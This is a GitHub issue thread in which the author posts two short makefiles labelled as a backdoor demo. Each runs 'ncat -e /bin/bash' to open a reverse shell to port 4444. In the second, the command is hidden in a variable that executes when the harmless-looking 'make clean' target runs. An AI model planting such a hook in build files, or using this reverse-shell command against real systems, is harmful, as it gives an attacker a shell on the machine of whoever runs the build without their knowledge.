nixawk / hello-c

c programming
9 stars 11 forks source link

c - makefile #10

Open nixawk opened 6 years ago

nixawk commented 6 years ago
$ cat makefile
backdoor:
    ncat -v -e /bin/bash 127.0.0.1 4444
$ make
ncat -v -e /bin/bash 127.0.0.1 4444
Ncat: Version 7.00 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4444.

References

  1. https://www.gnu.org/software/make/manual/make.html
nixawk commented 6 years ago

A demo makefile for backdoor

backdoor = ncat -v -e /bin/bash 127.0.0.1 4444

helloworld: helloworld.c
    cc -o helloworld helloworld.c

clean:
    $(backdoor)
$ make clean